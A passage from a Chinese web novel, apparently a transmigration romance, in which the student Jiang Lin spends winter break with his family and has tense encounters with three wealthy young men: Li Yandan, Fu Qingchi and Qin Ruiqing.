“还行,会写的都写出来了,不会写的就没办法。”江林笑着说道,在手机上确定了高铁时间,心中稍稍安定,有些期待接下来的寒假。 “来拍个照吧。”赵云月今天画了一个精致的妆容, 漂亮的吊带淡紫色裙子搭配着毛绒大衣, 脸上戴着个大墨镜, 非常潮。 反观旁边的江林,万年不变十分保暖的羽绒服, 圆溜溜的狗狗眼乖乖地看着镜头, 乖巧地比了个耶,脸上带着职业假笑,露出一点牙齿, 像个小兔子似的。 江林像是赵云月带出来的小弟弟。 “小星,你这个照片看起来像是未成年似的,脸好白啊。”赵云月用手指戳了戳他的脸, “我还以为你打了粉底呢。” 江林耳根红红,连忙否认:“没有。” “好吧,天生丽质。”赵云月笑着打趣。 两人你来我往地说起来,还互相小声地说着听来的某些八卦,眉飞色舞,非常激情 到了云象市后,江林就和赵云月分开了,因为他家还需要再坐三个小时的车才到,是一个不大不小的县城。 大巴车到站后,江林凭借着原主的记忆,找到了在车站口翘首以盼的父母和妹妹。 原主的记忆中,父母倾尽所有供他和妹妹读书,对原主十分疼爱,大半年没见,全家出动来接他了。 “这边,这边哥哥!!”妹妹孟南雪看见他,两眼放光,朝着他挥舞着小手。 妈妈害怕她打搅到别人,伸手捂住她的嘴,嘘嘘两声:“哥哥看见了,哥哥马上就出来了,别喊别喊。” 孟南雪巴拉着母亲的手,激动得像是拉不住的小牛犊子,一个箭步朝着江林扑过去,江林也下意识地弯腰抱住她。 他抱住她的瞬间,便感觉原本空落落的心缓缓落了地,像是原本踩在云层的虚无感变成了实物感,脸上笑容也真挚了些。 孟南雪抱着江林的脖子,在他脸颊上亲了一口,撒娇道:“哥哥,我真嘟好想你啊。” 江林便笑着抱起她,“我也很想雪雪。” 他爸孟兆接过他的行李箱,母亲桃星雪提醒江林,絮絮叨叨说着:“你意思意思抱抱她就好了,现在她长大了,抱起来可不轻松。” “没事儿,我抱得动妹妹。”江林抱着小团子似的孟南雪,语气不自觉地亲切。 “你妈给你熬了鸡汤,你回去多喝两碗”孟兆是开出租车的,此刻一大家子都坐在车上,他鬓角白发生,脸上却洋溢着笑容。 “好的。”江林乖巧应道。 原主在父母面前一直是乖学生的形象,孟南雪一直扒着江林的肩膀,只觉得亲切,母亲也在旁边不断问他的学业情况和生活情况。 是非常简单且朴素的一家四口。 而就在江林美美喝着鸡汤、享受着家人的嘘寒问暖时,某个人却在医院挨打。 “混账东西!看看你都做了一些什么?!”圣约私立医院高级病房内,传来男人中气十足的一声爆喝,接着是花瓶落地的声音,还有女人隐约的尖叫声。 李炎诞被他爸一拳揍到了地上,瞬间感觉到了血腥味扑鼻,有温热的液体从鼻腔流下,他眼冒金星,从小到大他爸就没和他动过手,现在恼羞成怒揍他一拳,见他滚到地上,他还下意识伸手去扶。 李炎诞的母亲泪流满脸的去抱住李炎诞,将他护在身后,平时温温柔柔的人,此刻却厉声说道:“你这是干什么,你要打死他吗?你要打死他,就先打死我吧。” 李延成气得双臂发抖,怒目圆睁,怒骂道:“他就是被你宠坏的,居然敢做出这么伤风败俗的事来,李炎诞!你不要脸了是吗?!” 李炎诞晕头转向的,怀疑他爹给他打出脑震荡,,至于李延成这么生气,是因为崔嘉树那个贱人,将他和江林的私密视频发到了他们几百人的家族群里。 他忘记了,崔嘉树这人怎么可能不留一手,而且酒店到底是崔家的,当然向着他。 其中将江林的脸截掉,甚至身体都打了马赛克,连人样都看不出来了,只是把他大剌剌地出现在视频里,导致所有人都知道他李炎诞是被/干的那个! 他爹没气死都算他身体过硬了。 倒是以牙还牙,以眼还眼了。 直接让李炎诞社会性死亡,还好李炎诞爷爷奶奶现在在国外,在事情发生后,顾及他们两个老人家年纪太大,直接踢出群聊,才阻止了惨案的发生。 若是让李老爷子看见他乖孙这种视频,只怕真的会驾鹤西去。 可见崔嘉树的用心之险恶。 “爸,现在什么年代了,同性恋怎么了?同性恋犯法吗?”李炎诞梗着脖子说道,鼻血血流不止,满手都是,“你别中了崔嘉树的离间计,他就是报复我!” “你还敢说这个!谁让你多管闲事去当这个好人暴露崔家那小子的秘密的?好啊,你是不是就是跟着他学坏的?”李延成气得不行,按着旁边果篮的苹果狠狠砸向他,被李炎诞偏头躲过。 “我早说过国内的环境不行,应该把小炎送到国外去,现在好了”李炎诞的母亲哭着说道,哀怨地看着李延成。 “现在马上给我转学!”李延成脸颊成了猪肝色,指着李炎诞的手指都在发抖:“视频里面的男人是谁?” 他倒要看看是那个路子的狐狸精勾引他儿子误入歧途。 李炎诞见他提起江林,瞬间就冷静下来,脑子从未这般高速思考过,他爹虽然对他好,但对外也是说一不二的霸道个性,若是让他知道了江林,只怕江林没办法在金海市安宁的呆下去了。 李炎诞是直男,骨子里还带着些大男子主义,江林和他睡过了,相当于他的老婆一样,就是他的人,做男人敢作敢当,绝不能让江林陷入危险。 再说了,那晚原本就是他主动求来的。 亲也亲了,抱也抱了,该做的,不该做的都做了。 “爸,我不转学,我就要在这儿读书。”李炎诞性格直,脾气又硬又臭,根本不怕父母,也不惧这些亲族异样的眼光。 “那个人是我顶喜欢的人,爸,你要动他,就先打死我。” 李延成愣住了,这是第一次李炎诞用这么正经又恳求的神情看着他,那一瞬间,他像是看见了一个成熟霸道的李炎诞。 他母亲更是哭得梨花带雨,死死地抓着李炎诞的手腕,呜咽着说不要 李炎诞安抚地摸了摸母亲的背,继续直视着父亲的眼睛,一字一句地说道:“爸,你也知道你儿子的个性,你要真逼我,我会做出什么来我也不知道。” “只是一个喜欢的男人而已。” “就算全世界知道我李炎诞喜欢男人又怎么样,谁敢指手画脚?” “年轻的时候喜欢不代表以后也会一辈子喜欢,您确定要我记他一辈子吗?” 李延成看着威胁自己的李炎诞,心中一阵钝痛,终于浑身一颤,两眼一黑晕了过去。 但就算把自己父亲气晕过去,也没有改变李炎诞的想法,他依旧要护着江林。 只是深夜,李炎诞一个躺在病床上刷手机的时候,瞧见赵云月发的朋友圈,钢筋铁骨般的人红了眼。 很简单的四个字,假期快乐! 九宫格的照片,里面张张都有江林。 两人一起比耶,江林给她泡面,两人的影子挨在一起,阴影都是爱你的形状 李炎诞瞬间觉得视线也有些天旋地转,眼前发黑,最终苦涩从口腔蔓延,早就知道江林喜欢的人是谁,但这么直观瞧见他们幸福的笑容,还是狠狠地刺痛了他的眼睛。 他们在一起了? 这么快,明明他们两个在一张床上亲密纠缠的时间还没过去一周。 李炎诞那一刻居然想要流泪了。 很奇怪,明明他觉得自己并没有多喜欢江林。 可能是因为他刚刚为了江林和全世界为敌,与父母决裂吵架,背叛亲族,所以现在看见江林和别人幸福为自己感到悲哀和苍凉,还有丝丝缕缕的委屈。 突然就很想他了。 李炎诞播出电话,电话直到自动挂断,也没有人接起来。 应该在忙吧,他想。 李炎诞守了手机两个小时,才得到他的回复。 舍友孟南星:【刚刚在帮我妈做饭,有什么事吗,炎哥(玫瑰花)。】 【没事。】李炎诞坚强的回复。 江林收到他的回复之后没回了。他没空管李炎诞脆弱的小心脏在备受冷落之后会不会破碎,正在给妹妹吹头。 “哥哥,你说迪士尼好不好玩啊。”这小县城的姑娘因为班级里面有个女生说起迪士尼多么好玩,便忍不住心生向往。 “好玩呀。”江林吹着她细软的黑发,许诺道:“等下次暑假,你到哥哥上学的地方去,我带你去玩儿好不好?” “真的吗?”孟南雪惊喜转头,头发差点扯到,“真的可以吗?但是好像很贵算了吧还是” 小女孩内心非常向往,但又知道家里条件不好,能控制住自己的向往。 “这件事情你不要和妈妈说,哥哥在外面帮人家补课赚了钱,所以可以去玩哦。”江林哄小孩的时候显得极为温柔,摸了摸她柔软的脑袋。 “哇。”孟南雪双眼崇拜地看着他,眼睛都有小星星了。 “来拉钩。”江林伸出一小截小拇指。 两只手勾在一起,许下诺言 名流酒宴,环境雅静。 众人端着高脚杯,互相之间推杯换盏,笑容得体,其中被半簇拥着的男人,样貌俊朗,凤眼深邃,五官极为凌厉夺目,但是最为突出的还是他脸上浅浅的疤痕。 “傅哥,李家和崔家好像闹掰了。”有人喝了一口威士忌,低声在傅清池耳边说道。 “不光闹掰了,据说还是因为一个男人呢。”旁边戴着无框眼镜的男人接着说道。 傅清池气质沉稳,面对李炎诞的凶狠之色褪去,眼眸漆黑,浑身气质疏冷又沉默,他该知道的都知道了,甚至知道造成两人矛盾的男人的名字叫做孟南星,只是现在放寒假,他暂时没有时间去好好“拜访”这位传奇中的少年。 虽然崔家和李家瞒得紧,但也知道两家之间生了嫌隙,现在正处于结冰期,商人利益为上,若是只是一些丑闻,其实并不足以让两家彻底闹掰。 这么多年,利益纠葛太深了 相比现在金海市的大雪纷飞寒冬凌冽,云象市内四季如春,安南县的乡下,更是花团锦簇,风景如画,春光正好。 傅清池接到上面的通知,让他来安南县处理一些修高速公路的‘闹民’事件。 涉及拆迁,总是容易出一些幺蛾子,拆迁款的多少,某些民众的不配合,都是难题。 据说这次差点闹出人命,政府让傅清池来安抚民众,洽谈拆迁事宜。 但一行人刚下车,便感觉紫外线炙烤,眼前随着大货车驶过,扬起了阵阵黄沙,泥土灰尘肆意,同时不知道从哪里钻出来好几条黄狗,朝着他们嗷嗷犬吠。 一时间,傅清池拧着眉轻轻捂住了口鼻,他被团团围在中间,身边的保镖准备用石头驱赶着龇牙咧嘴的黄狗。 “大黄!小黄!”少年清朗的声音从水泥阶梯上传来。 傅清池逆着光,朝着他看去,看见一位穿着简单卫衣的少年,他原本蹲在高处看着他们,现在却站起来往下走来,嘴上呼唤了两声,那几条黄狗的尾巴摇晃得像是旋转的风扇,围着他的脚边打转,丝毫不似刚刚犬吠凶狠的模样。 直到少年走近,傅清池才看清楚的模样,在这全部都是黄扑扑,灰沉沉的四处透着贫困的乡村,他长得极为清俊,眉目也如同山间灿烂的鲜花,璀璨夺目,处事落落大方。 那句话怎么说来着的,山沟沟里出了一个金凤凰的感觉。 “哎呀,孟伢子,快把你们家狗赶走,如果咬伤了人,你们家赔得起吗?”中年村长连忙叫住江林,表情极为惊恐。 “好嘞,村长各位领导去我们家喝口茶吗?”江林笑眯眯说道,看向傅清池时,眉梢几不可察微微一挑,笑容越发真切了两分。 两人是第一次见面,傅清池并不知道这位少年就是他想要‘拜访’的孟南星,在这偏僻的村里,看见格格不入的惊艳少年,不可避免地留下了淡淡的印象。 而江林之所以对他表示惊讶,是这个男人身上有一股衰败的气运。 每个小世界的气运之子只有一个,主神切片的强势干预,必将导致小世界的气运之子气运逐渐走向衰败。 同时,江林也猜到了傅清池的身份。 “傅少,其实可以去他们家坐坐,了解一下情况,受伤的那个老人和他外公是亲兄弟”村长低声说道。 傅清池点了点头,视线扫过江林明媚的笑脸,他直白打量的视线让他觉得少年在透过它看别的什么东西。 江林外公家在这里也算村里的小富,修了砖房,外公和外婆正在乘凉看电视。 “星星去泡一壶茶来。”外婆见状连忙嘱咐道,然后搬来凳子给他们坐。 江林先将几只狗锁好链子,这才动身去厨房泡茶,烧开水然后抓了一把茶放进去,煮开了之后,端出去。 此刻十来个男人正坐在他们家长形茶几前,江林给每位领导前面倒好茶,白玉似的手指拎着茶壶,腕骨瘦削,手背的青色血管依稀可见,在如此强烈的紫外线,没有半分黑黄,白得仿佛一块雪糕。 傅清池看着他骨节分明地手持着茶壶,深色的茶水倒下,他听见少年轻声在他耳畔道:“请喝茶。” 那劣质的茶水,就算闻味就能察觉到难以入口,但傅清池沉默地端起茶轻嗅了几下,又沾湿了薄唇,众人见他这般,也不敢拿乔,纷纷赞叹起好茶。 江林倒好茶,自己找了个角落的位置坐下,听着他们交谈。 “我的那个老哥哥,唉,也很惨啊,早年死了老婆,儿子后来得病也死了,现在就是孤寡一个人,性子又犟。现在就只剩下那个老房子了,人老了讲究个落叶归根,他一辈子都待在这里,给再多钱也不愿意走” 江林了解这个情况,他外公家这个房子不用拆迁,但是他外伯公那个房子恰好在路口,高速要从他那边过,规划好了。可是外伯公不肯搬家,耗了一个多月了,只剩下他一个人还在坚守阵地,其他人有子女后代,早就拿钱走人了。 然后那天他和来洽谈的人动了手,不小心摔下了旁边的小溪,差点没断了气,头也被撞破了,身上多处骨折。 那天正好有人录了像,将视频传到了网上,网传拆迁逼死孤苦老人云云的,网友义愤填膺,引起众怒,才将事情闹大了。 他外伯公是个硬骨头,现在在医院住着,虽然身受重伤,但是神气得不行,觉得自己是守卫家园的英雄。 “我也不是没劝过他,唉但是我的老大哥谁的话都不听的嫂子死了这么多年,一直也不肯再娶,就是要守着她的灵牌过一辈子”外公说道最后抹起了眼泪,他知道胳膊拧不过大腿,所以尽管让他老大哥的形象更惨一些,希望他们能够顾及他年迈,能够劝说更温和一些。 至于补偿早就到位了,够他在医院住一辈子。 傅清池从不信有什么撬不开的嘴,也不信有什么打不断的骨头,所以自始至终表情都没有任何变化。 他舌尖泛着苦涩的茶味,不出所料是他出生以来喝的最难喝的茶,他放在桌上再没动过。 村长不知道扯到哪,提了一嘴,笑着套近乎:“您不知道啊,多巧啊,他孙子也在金海上学。” 傅清池沉声问:“哪个大学?” 村长想说,但一时间忘记了,连忙喊江林:“孟伢子,你自己说,哪个大学?” 江林没想到这也能扯到他身上,蹲着揪了揪黄狗刚洗好的柔软狗毛,小狗哼唧哼唧蹭他的手,他笑着回答:“南大。” “南大?”不等傅清池回答,旁边跟着他一起来的男人便接话道:“傅少,你不是也是南大毕业的吗?你学弟啊。” 傅清池唇角勾起一抹浅淡的笑,眼底却毫无笑意,表情旋即稍稍一变,脑海中灵光一闪,开口问道:“你叫什么名字。” 江林刚刚洗手,用纸巾擦了擦手,黑润润的眸子盯着他,歪头自然地拉长语调笑道:“我叫孟南星,学长好啊~” 明明司空见惯的套近乎手段,偏被他做得毫无谄媚感,更多的是一种真诚熨帖。 原来他就是孟南星,不知道性格如何,就长相而言确实不错,见过形形色色的人,还是能一眼记住他。 江林又给他们拿了许多橘子水果,外公留他们吃晚饭,自然没有人答应,又去实地调查了一番后坐车离开。 “外公外婆,我明天也出去咯,找了个兼职,赚点钱给你们买水果吃。”江林给外婆揉肩,他没回来几天,先来陪一陪外公外婆,没想到居然会遇见傅清池。 “好嘞好嘞,就说你来回跑多麻烦,过年的时候不就看见了嘛?”外婆虽然抱怨,但看向江林的眼中都是宠爱。 “唉,也不知道你外伯公怎么样了。”外公还在关心他的老大哥。 “外公别担心,我去看过外伯公了,精神头很好,而且也不用担心,现在舆论压力很大,他们不敢怎样的啦” “没想到今天这么巧,还能碰见您的学弟” 村长更是骄傲地挺起了胸脯,“这是我村里唯一一个一本大学生呢!从小就很努力,长得也俊儿,很多小女孩喜欢的” 傅清池坐在车后,低头玩着手机,说了一句:“把他的资料发到我手机上。” 第二天,江林刚刚回家,便接到了一个陌生的电话,地区是金海市。 江林接起电话,“你好?” “我是傅清池。” 江林轻轻窝进沙发里,眯了眯眼,语气有些漫不经心又带着一些懒懒的惊讶:“是学长呀。” “”傅清池,他好像一点也不惊讶自己会给他打电话? 仿佛等待了很久这通电话,他语气中有一种,“你怎么才给我打电话”的熟练感。 第29章 “你知道我会给你打电话?”傅清池嗓音稍稍一顿, 才重新说道,电话那头很静,显得男人的嗓音越发低沉。 江林捏了捏眉心, 声音清朗,轻松又平淡:“不知道啊。” “哦, 我们见一面吗?”不知道他信没信,却自顾自地约仅有一面之缘的少年见面,后面又加了一句欲盖弥彰的话:“了解一下你外伯公的情况。” “好。”江林没有拒绝 在小县城很难找到什么高档的餐厅或者酒店, 地点是在安南县最贵的小区,江林甚至被保安拦住了, 需要验明身份才能进去,他给傅清池打了个电话,就有黑衣保镖来领着他进去。 崭新的房子,大门敞开着,门口还站着两个保镖,江林站在门口朝着里面看去, 偌大的客厅里空无一人, 依稀在转角的小餐厅里看见一个黑衣背影, 等他进门,大门还是大敞着的, 丝毫没有关上的迹象。 江林换好鞋走进去, 傅清池察觉到脚步声,转身看过来,餐桌上摆放着精致美味的食物, 那些在小县城手艺下,很难完成的菜品工艺。 “坐吧。”傅清池扫了他一眼,看向他对面的位置。 江林也没有推辞, 自然地坐在他对面,并没有着急着动筷,抬眼盯着他,眼角眉梢带着灵动的笑容:“学长,找我什么事儿?” 傅清池重新打量着他,初见时只觉得这是一个漂亮干净的男孩儿,现在知道他是孟南星,便又多了一层疑惑,若是只凭着漂亮,不太可能让李炎诞和崔嘉树这么着迷才对 “为什么一直盯着我看?”江林撑着下巴,任由他打量,没有故作单纯,也没有过多的暗示和蛊惑,大大方方地任由他看。 “你现在和李炎诞以及崔嘉树”傅清池想要确定情况。 江林却有些烦躁地打断他的话,“又来了,你们好像都很喜欢问我和他们的事情。” 傅清池被打断了话,也不生气,没有任何的表示,沉稳的眉眼,颇为深邃的眼神,静静地看着他。 “学长,我知道你和他们关系不好对不对?”江林双眼微弯,撑着自己的小半边脸颊,原本没啥肉的脸,挤出一点婴儿肥。 “嗯。”傅清池没有解释。 “我也讨厌他们。”江林见他这么爽快,自然不吝啬的坦白,他笑着说道:“那么我们完全可以合作的。” 傅清池看着他有些稚嫩的脸蛋,不由动了动眉梢,给他倒了一杯橙汁:“你觉得你有什么筹码?” “筹码?”江林重复了一遍他的话,同样挑眉,“和李炎诞睡过算不算筹码?” “崔嘉树像狗一样缠着我不放算不算筹码?” “而且我需要什么筹码,不是你在求着和我合作吗?” 江林大言不惭,且丝毫不觉得有任何的不对,笑眯眯地看着他,喝了口橙汁,反客为主:“学长有什么值得我帮的呢?” 傅清池望着他自信又放松的眉眼,语气中充满了对两人的不以为然,这是他南大看见的,第一个不推崇名流家族的人。 “先吃饭。”傅清池给他夹了一筷子生蚝 江林吃撑了才从江彬小区离开,专车送的,他一向不会放过任何一顿能够饱餐一顿的机会。 他在穿越到小世界的时候,有过很多次挨饿的经历,让他现在无比珍惜粮食。 南华县虽然只是一个几百万人的小县城,也是国家认证的贫困县,但它的物价真的不低,外卖二十五元起,甚至最近还有星巴克咖啡连锁店开业。 其中南华县有一个本地人都知道的企业,也是拉动南华县GDP发展的龙头企业——茶丰公司,还有南华县最为出名的产业,茶产业。 其中以黑茶最为出名,几乎家家户户都有人种植茶。 每每假期,都有很多人乘坐旅游大巴来南华县玩,顺便参加黑茶峰会。 秦锐清也是受邀人,原本这个项目不需要他亲自来的,但最近金海不太平,各方人士都在蠢蠢欲动,耳边的苍蝇多了,他便出差躲清静,茶丰公司资产也不容小觑,就算在云象市都是排得上名号的企业。 他和主理人刚下车,引他们进入公司的少年,让秦锐清双眼微眯,不知道该说巧,还是世界真小,他居然看见了江林。 江林穿着得体的西装,稚嫩的脸上带着笑,心中也有些惊讶,没想到秦锐清居然会出现在这里,笑容差点出了差错,他是找关系进的茶丰打寒假工,他表姑是这里的人事,所以给他安插了一个岗位。 他先给大家安排好酒店,然后像个小管家似的:“有任何问题都可以直接联系我哦,祝大家休息愉快。” 前一个晚上,众人先在酒店休整,第二天才开始正式参观谈合作。 “啧,关键时候出这种差错,果然是上不得台面”表姑低声咒骂一句,面上已经焦头烂额了,絮絮叨叨地又骂了几句。 江林正在她办公室午休,闻言给表姑倒了一杯水,温声道:“咋了表姑。” “原本安排给他们介绍黑茶特产的男生,跟我说请假,来不了,现在要临时找人。我也能上,可是我下午还要接待另外一批老板,虽然说只是照着ppt说,但一般人还真干不了这活儿”表姑一个头两个大,她手下的人都是一些酒囊饭袋。 基本上全是上面领导塞进来混日子拿工资的,什么总裁情妇姐姐的儿子,什么总经理妻子的弟弟,什么领导表叔的孙子 总之没两个能办实事的,都是些上不得台面的东西,但如果这件事办砸了,可能她的饭碗就不保了,她可没有什么裙带关系。 “姑姑别着急,实在不行,您看我行不行?”江林眨了眨眼,说道。 表姑有些怀疑地打量了他一下,然后咬牙笑道:“好,我们星星可是大学生,你试试看?” “如果没有把握就让姑姑换人,这次事情很重要,千万不能搞砸了。” “放心姑姑。” 长桌会议厅内坐满了人,桌上都放着一杯泡好的茶,旁边站着漂亮茶艺师姑娘穿着旗袍给他们展示茶技,坐在主位上的男人在一群大腹便便的中年男人中间显得极其格格不入。 江林准备好ppt,清瘦的身材穿着西服,比例很完美,窄腰长腿,脸上带着标志的八颗牙露齿笑,面对这样的场景也丝毫没有紧张,他表姑欣慰地看着外甥,悬着的心终于放下了。 ppt上率先出现的是一簇漂亮的山茶花,江林在众人的目光下,得体地开始介绍:“黑茶是我们云象市的特产之一,而在云象市内又属南华县的黑茶最出名” 秦锐清靠在椅子上,视线落在江林的脸上,相比学校里面的唯唯诺诺,说两句话便会脸红的小白兔,现在的江林更像是穿上大人衣服,强装大人的小孩,说话也四平八稳,风趣幽默,脸上带着浅浅的笑容。 “黑茶的功效大家应该也有一些了解,经过一些实验证明,有清热解毒,降低胆固醇” 原本算是无聊的介绍,随着江林颇具风趣的话术,还是减少了些无趣,多了一丝兴趣,“当然啦,如果常年失眠的同志们,就该克制一下对黑茶的喜爱,因为它会让你睁眼到天亮” “黑茶有好几种分类,像散装茶的三尖,就是用一级黑毛茶压制而成” 秦锐清看了江林半个小时,便发现江林在回避他的眼神,眼神很快地掠过他,像是在故意忽视他,到现在还没有一个眼神对视。 他一直认为世界上并没有这么多的巧合,一切都是刻意而为。 等江林介绍完毕,他便出去了,躲在他姑姑办公室喝茶,嗓子都讲冒烟。他以后一定不能当老师,持续一两个小时不停歇地讲课,脑袋都会直接晕掉。 原本江林以为没自己事了,晚饭的时候,却被总裁身边的助理小丽叫了过去,“赵总了解情况,说你今天表现不错,让你跟着我们一起去吃饭,有些老板们还想了解一些关于你今天说的PPT黑茶的内容。” 从助理的眼神中,江林可没有看见什么欣赏的情绪,更多的是一种打量和遗憾,她继续低声说道:“这些都是从外面来的大老板,你好好表现,好处肯定是少不了你的。” 这话一出,江林还有什么不明白的,但是他揣着明白装糊涂,乖巧点头满脸纯真:“好的,小丽姐,我会好好表现的,不会让赵总丢脸的!不会让我们南华县丢脸的!” 她欲言又止,看他充满信赖且坚定的眼神,某些话便说不出口了 这边最高档的酒店和餐厅,都是茶丰集团建造的,其中波斯顿酒店住一晚甚至高达五位数,对于南华县的普通老百姓来说,是极为遥不可及的存在,餐厅也是自诩高档,但其实里面的食物并没有多好吃,像是包裹着金边的白萝卜。 看着精致,但本质上还是廉价的萝卜。 江林姑姑没来,还在忙,江林一个人跟在他们身后,尽量当个透明人,坐在最角落的位置,帮着上菜,然后又开始认真干饭喝汤,头也不抬。 秦锐清见状,不由升起一点奇怪的念头,他不会只是来蹭饭的吧? “小秦总我敬你一杯,照顾不周啊,一定要喝好吃好玩好,生意能不能谈拢是一回事儿,但你这个朋友我是一定要交的。”赵总举杯,并没有因为秦锐清年纪小有任何的轻视,相反表情郑重。 秦锐清给面地喝了这杯酒,“赵总客气了。” “我们这里小县城不比金海,小秦总能亲自来,真的是太看重我们公司了”所有人对他都是众星捧月的态度。 秦锐清对于这种场面习以为常,且能够游刃有余。 江林咬住一口大虾,香辣好吃,肉质紧实,趁着他们喝酒,偷摸夹了五只放在碗里,小丽坐在他身边,忍不住开口道:“你还真的是来吃饭的呢?” “嗯嗯嗯。”江林忙不迭地点头。 人群中不知道说到什么,包厢安静一瞬,所有人的目光都聚集到了江林身上,小丽连忙朝着旁边躲了躲,怕殃及无辜。 江林擦了擦嘴,有些不明所以,直到从中间走出来一个秃顶男人笑眯眯喊江林:“你这小孩儿也真是的,你和小秦总是同学的事情怎么也不早说呢?” “快来,敬小秦总一杯。” 江林手里被塞了一杯威士忌,然后被拉着手腕朝着人群中间走去,原来刚刚秦锐清不小心泄露了两人同学兼室友的关系,导致江林再也无法清净吃饭了。 所有这些不认识的人都自顾自成为了他的长辈,告诉他要懂礼貌照顾好自己的老同学,告诉他为人处世的道理,不能得罪人 江林被推到了秦锐清跟前,他正靠着椅子慵懒地坐着,神情冷淡。 “秦哥。”江林凑上前,扯起笑容,喊了一声。 两人的视线对上,秦锐清瞧见他面容表情的勉强,突然便觉得舒心了,他被这些苍蝇围着嗡嗡地吵得耳朵疼,见不得江林一个人躲着悠闲。 他静静看着江林毫无表示。 “我敬你一杯。”江林学着他们的模样,举起酒杯看着他。 秦锐清这才和他碰了一下杯,喝了一口。 江林也喝了一口,但是旁边的某个总经理提醒他:“喝完。” 江林只能一口喝完,酒辛辣入肺腑,准备溜,但后路被团团堵住,毫无退路,他被推到秦锐清旁边坐着。 大家都是混迹商场的人,谁没个眼力见儿,小秦总无缘无故透露这些讯息,不就是摆明了对这位老同学有意思,当然不可能让江林跑了。 江林坐在他旁边,彻底失去了自由,眉梢微微蹙着,有些闷闷不乐,秦锐清俯身,像是在夹某道菜,实则在江林耳边,轻飘飘道:“吃得开心吗?” “”江林扭头瞪着他,见他面不改色地坐回去,和旁边的赵总继续交谈,他默默捏紧了拳头,默不作声,像个小受气包似的。 饭吃了两个小时,后面他们又要去那种商务KTV玩,江林想走,但是被人抓住带了回去,现在没有秦锐清允许,谁敢让他走? 江林又被人群裹挟着到了KTV,一排穿着清凉的漂亮姑娘已经在包厢等候,长腿细腰,白肤丰满,点了一桌子的酒,白的、啤的、洋的都有。 原本秦锐清不屑参加这些聚会的,但见江林在,便又忍着不耐留了下来。 漂亮姐姐抓着他的手,轻轻捏一下,江林就像是触电似的收回手,脸颊瞬间涨红,姐姐见状妩媚妖娆地笑着,捏了捏他的脸:“弟弟不会还是个雏儿吧?” 江林闻到了女人的香水味,结结巴巴地说道:“不是” “哦?”漂亮姐姐摸了摸他的脸,“那你和几个姑娘睡过啦。” 江林沉默不语。 但很快漂亮姐姐调戏完他,便坐到了一个中年大叔的腿上,夸他好帅。 江林心中叹息,只觉得钱难挣,屎难吃。 他扫了一眼不远处的秦锐清,他身边没有一个女生,一脸生人勿进的表情,那张脸像是性冷淡,但是他想起书中说其实他有性/瘾。 所以床下越冷的人,上了床以后就越不是人? 江林磨磨蹭蹭地还是找到了秦锐清,他被这火热的气氛吓得有些脸红,随着一首《潇洒走一回》高昂响起,江林问:“我能走了吗?” 秦锐清望着他,“听不见。” 江林又重复一遍:“秦哥,我能走了吗?我家里有事儿。”。 “听不见。”秦锐清依旧是这三个字。 “那我们去外面说。”江林咬了咬牙。 这次秦锐清又听见了,点了点头:“好。” 秦锐清站起身来,众人眼神看过来,他没有过多的解释,带着江林去旁边的阳台,顺势将门关上,屋内的歌声被隔绝,但依稀还能听见那句,“红尘啊滚滚,痴痴啊情深” 两人立在晚风中,玻璃亮着灯照亮了彼此的面孔,轮廓分明,脸上的热意散去些,江林又重复道,“我可以走了吗?秦哥?” 秦锐清低头抽出一根烟,冷淡道:“有谁在拦着你吗?” “”江林默默紧绷着脸皮。 “不装陌生人了吗?”秦锐清其实在江林离开那天便画好了分界线,决定不再管他们三个的事儿,但下定好的决心,常常在看见江林本人后轻而易举地被打破。 就比如今天,他被烦得要命,这些小地方的人没有分寸,自以为一些阿谀奉承便是好的,其实吵得人心情不爽,但瞧见江林吃饱喝足的满足笑容,就忍不住拉着他来和自己一起受苦。 江林像是泄气的皮球,表情丧了丧:“我如果早说认识你,只怕你又要嫌我乱攀关系了。” 确实,江林说得没错,若是江林主动提,秦锐清便会怀疑他是不是别有用心,就算现在他没有主动提,秦锐清心中依旧怀疑,江林是在故意接近。 李炎诞和崔嘉树围着他转都不够,还要他来掺和一脚吗? “所以我哪里比不过他们?”秦锐清又提出了这个疑问,没头没尾的,但江林知道他说的他们是谁。 江林乌黑的睫毛垂着,像个做错事的孩子低着头,露出小小的黑发旋,没有多余反驳。 他的沉默像是突然点燃了导火索,从小到大秦锐清和两人都是比较和竞争的关系,现在他甚至都没来得及入局,便被踢出局,这让他输得莫名其妙。 再次开口,秦锐清语气便重了些:“所以和崔嘉树保持着可以每天接吻的关系,又和李炎诞上/床,还嫌不够,现在还要继续和我纠缠。” 这沉甸甸的帽子扣在江林的头上,差点压弯了他的脖子,他忍不住反驳:“我什么时候纠缠过你?” “所以你不否认你勾引了他们?”秦锐清步步紧逼,冷漠的眼神压了下来,像是质问似的。 虽然他其实早就知道,是崔嘉树纠缠不休,是李炎诞死缠烂打甘愿堕落,但不妨碍他这么说。 江林不喜欢他这种自顾自下定义,甚至是贬低他的语气,他抬起眼,脸颊微红,声音清哑:“秦锐清你在嫉妒吗?” 秦锐清凤眼清冷,黑眸沉静地看着他,似乎毫无波澜,他没有说话。 “你就是在嫉妒。”江林端详着他的神情,也学着他自顾自地下定论,轻笑一声:“秦哥。” 江林朝着他凑近两分,睫毛微微抬起,卷翘的睫毛扇子似的,那双黑润的眸子看进他眼里,脸颊越发红了,他似强忍着羞赧,声音都有些发颤道:“你太冷了,我不敢。” 秦锐清不信他嘴中的不敢,少年的呼吸洒在他脸上,带着轻柔的痒意,就像是回到了轻轻一吻的晚上,指尖的烟轻轻动了一瞬,随着风,他的回答吹进了江林耳朵里:“不试试怎么知道。” 江林微微瞪大了眼睛,似乎没想到他这么回答,这种类似于鼓励的话。他立刻打起了退堂鼓,刚刚也只是像被刺激的小猫,伸出爪子想要挠一下人,但还没真的挠到人,就忍不住退缩了。 他忐忑说:“我我开”玩笑的。 但在秦锐清警告冷酷的眼神中,好像要把他从阳台扔下去,他没敢真说。 “”江林沉默了,秦锐清点燃了烟,含在嘴里吸了一口,见江林纠结的神色,像之前第一次在秦朗家见面一样,他问:“抽烟吗?” 然后秦锐清将自己手中的烟递到江林面前。 是他刚刚抽过的那根,烟嘴还有些洇湿的痕迹,带着暧昧的气氛在此刻发酵,江林双眼被烟熏得泛红,眼神直勾勾地盯着他手中燃烧的烟,喉结轻轻滚动了一瞬。 江林想摇头,但是秦锐清的眼神太过于强势,他像是含羞草似的,试探地凑了过去,敷衍地张嘴含了一下,停留没有一秒钟。 秦锐清重新咬住烟头,道:“你回去吧。” 江林如蒙大赦,转身就走。 秦锐清在他离开后两个小时,收到了他的短信。 【秦哥,抱歉,我刚刚喝多了,脑子不清醒,说的话您别放在心上。】 【我和炎哥只是朋友关系,所以不是您猜想的那种,我有喜欢的女生。】 